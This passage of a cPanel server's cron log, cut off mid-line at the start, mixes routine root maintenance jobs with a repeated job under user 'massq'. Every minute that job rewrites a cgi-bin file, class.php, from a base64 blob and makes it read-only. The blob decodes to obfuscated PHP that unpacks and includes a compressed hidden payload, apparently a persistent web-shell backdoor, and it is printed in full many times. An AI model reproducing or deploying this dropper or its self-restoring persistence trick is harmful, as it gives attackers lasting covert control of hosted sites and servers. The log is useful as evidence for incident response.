qBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:31:01 server CROND[26527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:32:01 server CROND[26982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:32:01 server CROND[26984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:32:01 server CROND[26983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:33:01 server CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:33:01 server CROND[27394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:33:01 server CROND[27395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:34:01 server CROND[27912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:34:01 server CROND[27913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:34:01 server CROND[27914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:35:02 server CROND[28323]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 12:35:02 server CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:35:02 server CROND[28326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:35:02 server CROND[28328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:35:02 server CROND[28330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:35:02 server CROND[28333]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:35:02 server CROND[28332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:35:02 server CROND[28331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:35:02 server CROND[28329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:36:01 server CROND[29169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:36:01 server CROND[29168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:36:01 server CROND[29170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:37:01 server CROND[29582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:37:01 server CROND[29583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:37:01 server CROND[29584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:38:01 server CROND[30047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:38:01 server CROND[30048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:38:01 server CROND[30049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:39:01 server CROND[30531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:39:01 server CROND[30530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:39:01 server CROND[30532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:39:01 server CROND[30533]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 12:40:01 server CROND[30927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:40:01 server CROND[30928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:40:01 server CROND[30930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:40:01 server CROND[30931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:40:01 server CROND[30934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:40:01 server CROND[30935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:40:01 server CROND[30933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:40:01 server CROND[30932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:41:01 server CROND[31753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:41:01 server CROND[31755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:41:01 server CROND[31754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:42:01 server CROND[32168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:42:01 server CROND[32169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:42:01 server CROND[32170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:42:01 server CROND[32167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:43:01 server CROND[32555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:43:01 server CROND[32556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
